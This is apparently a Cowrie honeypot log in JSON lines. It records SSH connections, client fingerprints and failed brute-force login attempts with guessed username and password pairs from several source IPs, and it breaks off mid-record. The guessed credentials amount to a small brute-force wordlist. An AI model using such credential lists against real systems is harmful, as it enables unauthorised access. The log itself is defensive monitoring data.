{"eventid":"cowrie.login.failed","username":"admin","password":"xx12345678","message":"login attempt [admin/xx12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:58.771172Z","src_ip":"159.203.92.129","session":"1031b6ccbb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":16978,"dst_ip":"159.203.135.109","dst_port":22,"session":"c237a00757a9","protocol":"ssh","message":"New connection: 125.166.19.90:16978 (159.203.135.109:22) [session: c237a00757a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:59.755555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:59.762322Z","src_ip":"125.166.19.90","session":"c237a00757a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:59.780854Z","src_ip":"159.203.92.129","session":"1031b6ccbb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:00.036171Z","src_ip":"125.166.19.90","session":"c237a00757a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000000","message":"login attempt [ubuntu/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:01.149518Z","src_ip":"125.166.19.90","session":"c237a00757a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:02.424701Z","src_ip":"125.166.19.90","session":"c237a00757a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":50992,"dst_ip":"10.17.0.5","dst_port":22,"session":"eac78262d5e3","protocol":"ssh","message":"New connection: 198.98.55.71:50992 (10.17.0.5:22) [session: eac78262d5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:13.822738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:13.827046Z","src_ip":"198.98.55.71","session":"eac78262d5e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:13.833223Z","src_ip":"198.98.55.71","session":"eac78262d5e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"werner","message":"login attempt [root/werner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:13.887187Z","src_ip":"198.98.55.71","session":"eac78262d5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:14.895505Z","src_ip":"198.98.55.71","session":"eac78262d5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177502632141,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:40.187431Z","src_ip":"49.88.156.34","session":"ca6f61430578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33612,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b747a3fb13f","protocol":"ssh","message":"New connection: 159.203.92.129:33612 (159.203.135.109:22) [session: 6b747a3fb13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:43.417576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:43.421988Z","src_ip":"159.203.92.129","session":"6b747a3fb13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:43.426228Z","src_ip":"159.203.92.129","session":"6b747a3fb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yu3tlymnt9k","message":"login attempt [admin/yu3tlymnt9k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:43.437922Z","src_ip":"159.203.92.129","session":"6b747a3fb13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:44:44.444334Z","src_ip":"159.203.92.129","session":"6b747a3fb13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":48244,"dst_ip":"10.17.0.5","dst_port":22,"session":"b437c71c81e6","protocol":"ssh","message":"New connection: 198.98.55.71:48244 (10.17.0.5:22) [session: b437c71c81e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:09.204802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:09.210585Z","src_ip":"198.98.55.71","session":"b437c71c81e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:09.217099Z","src_ip":"198.98.55.71","session":"b437c71c81e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin123","message":"login attempt [postgres/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:09.271584Z","src_ip":"198.98.55.71","session":"b437c71c81e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:10.298625Z","src_ip":"198.98.55.71","session":"b437c71c81e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46102,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c22898022c","protocol":"ssh","message":"New connection: 159.203.92.129:46102 (159.203.135.109:22) [session: a6c22898022c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:28.816678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:28.821722Z","src_ip":"159.203.92.129","session":"a6c22898022c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:28.826648Z","src_ip":"159.203.92.129","session":"a6c22898022c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"z123456","message":"login attempt [admin/z123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:28.840096Z","src_ip":"159.203.92.129","session":"a6c22898022c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:29.847741Z","src_ip":"159.203.92.129","session":"a6c22898022c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":56632,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d853926af84","protocol":"ssh","message":"New connection: 198.98.55.71:56632 (10.17.0.5:22) [session: 4d853926af84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:59.430651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:59.435322Z","src_ip":"198.98.55.71","session":"4d853926af84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:59.440517Z","src_ip":"198.98.55.71","session":"4d853926af84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123!!!","message":"login attempt [root/asd123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:45:59.517493Z","src_ip":"198.98.55.71","session":"4d853926af84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:00.526213Z","src_ip":"198.98.55.71","session":"4d853926af84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42138,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9f41db34b4b","protocol":"ssh","message":"New connection: 159.203.92.129:42138 (159.203.135.109:22) [session: b9f41db34b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:13.737420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:13.742844Z","src_ip":"159.203.92.129","session":"b9f41db34b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:13.754398Z","src_ip":"159.203.92.129","session":"b9f41db34b4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zaq12wsx","message":"login attempt [admin/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:13.769396Z","src_ip":"159.203.92.129","session":"b9f41db34b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:14.776683Z","src_ip":"159.203.92.129","session":"b9f41db34b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":56462,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced675381425","protocol":"ssh","message":"New connection: 198.98.55.71:56462 (10.17.0.5:22) [session: ced675381425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:49.125338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:49.148883Z","src_ip":"198.98.55.71","session":"ced675381425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha